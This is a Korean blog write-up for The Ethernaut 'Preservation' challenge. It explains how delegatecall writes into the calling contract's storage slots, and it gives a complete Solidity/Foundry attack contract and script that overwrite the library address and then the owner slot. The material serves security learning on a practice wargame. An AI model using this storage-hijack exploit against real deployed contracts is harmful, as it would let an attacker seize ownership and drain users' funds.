[The Ethernaut] Preservation

2025. 2. 2. 05:26· Web3/The Ethernaut
728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

owner권한을 탈취하면 된다.

해당 코드를 보면은 setFirstTime과 setSecondTime에서 각각 timeZon1Library.delegatecall을 통해 LibraryContract의 setTime을 호출하고 있다.

아마 constructor에서 LibraryContract 두개를 timeZone1Library와 timeZone2Library에 넣었을 것이다.

 

여기서 owner권한을 탈취하려면 delegatecall에 대해서 알아야 한다.

delegatecall이란?

컨트랙트 A를 통해 컨트랙트 B 호출시 B의 Storage를 변경시키지 않고, B의 코드를 A에서 실행합니다.

즉, LibraryContract의 setTime함수를 Preservation에서 호출하는 것이다.

대신, 저장소는 바뀌지 않는다.

여기서 저장소가 바뀌지 않는다는 소리는 이 경우에선 setTime을 통해 storedTime값을 바꾸고 있다.

LibraryContract에서는 storedTime의 slot위치가 0인데 delegatecall함수를 통해 호출 시 컨트랙트의 storage위치는 변경되지 않으므로 LibraryContract의 0번 슬롯이 아닌 Preservation의 0번 슬롯이 변경된다.

즉, setFirstTime함수를 호출하면 timeZone1Libary의 값이 변경된다.

 

이를 사용해서 timeZone1Library를 악성 contract로 변경 후, 악성 contract의 setTime함수에서 2번 슬롯(owner)값을 내 지갑 주소로 변경하는 코드를 짜주면 owner탈취가 가능할 것이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/preservation.sol";

contract Attack {
    uint256 storedTime;
    Preservation public target;

    constructor(Preservation _target){
        target = _target;
    }


    function setTime(uint256 _time) public{
        assembly {
            sstore(2, 0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C)
        }
    }

    function attack() external{
        target.setSecondTime(uint256(uint160(address(this))));
        console.log(address(this));
        target.setFirstTime(uint256(uint160(0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C)));
    }
}

contract PreservationSolve is Script {
    Preservation public target;
    function setUp() external{
        address payable targetAddress = payable(0xa89cb872b47208Ad49DAD7996efEe4E97340113B);
        target = Preservation(targetAddress);
    }

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        Attack attacker = new Attack(target);
        attacker.attack();

        vm.stopBroadcast();
    }
}

attack함수에서 setFirstTime을 호출시에 인자로 아무값이나 넣어줘도 상관없다.

어짜피 setTime함수만 호출이 되면 owner가 내 지갑주소로 바뀔 것이다.

728x90
반응형
저작자표시 비영리 변경금지

'Web3 > The Ethernaut' 카테고리의 다른 글

[The Ethernaut] Magic Number  (0) 2025.02.02
[The Ethernaut] Recovery  (0) 2025.02.02
[The Ethernaut] Naught Coin  (0) 2025.02.02
[The Ethernaut] Gatekeepr Two  (0) 2025.01.31
[The Ethernaut] Gatekeeper One  (0) 2025.01.31
'Web3/The Ethernaut' 카테고리의 다른 글
  • [The Ethernaut] Magic Number
  • [The Ethernaut] Recovery
  • [The Ethernaut] Naught Coin
  • [The Ethernaut] Gatekeepr Two
프레딕
프레딕
250x250
반응형
프레딕
소소한 해킹 블로그
프레딕
전체
오늘
어제
  • 분류 전체보기 (241)
    • etc (1)
    • PS (72)
      • Greedy (4)
      • DFS, BFS (16)
      • DP (14)
      • Stack, Queue (2)
      • 재귀 (10)
      • 이분 탐색 (1)
      • 문자열 (4)
      • 분할 정복 (2)
      • 기타 알고리즘 (19)
    • Book Review (5)
      • 알고리즘 문제 해결 전략 (3)
      • Clean Code (1)
      • The Programatic Programmer (1)
    • Web Hacking (110)
      • Webhacking.kr (42)
      • DreamHack (38)
      • Information (18)
      • Los Rubiya (1)
      • WriteUp (11)
    • Web3 (24)
      • The Ethernaut (22)
      • Information (2)
    • Reversing (18)
      • Reversing.kr (4)
      • DreamHack (3)
      • Information (11)
    • Pwnable (3)
      • DreamHack (2)
    • Misc (1)
      • PyJail (1)
    • Network (6)
    • Dev (1)
      • Flask (1)

블로그 메뉴

  • 홈
  • 태그

공지사항

인기 글

태그

  • 시간복잡도
  • 알고리즘
  • Algorithm

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.2.2
프레딕
[The Ethernaut] Preservation
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.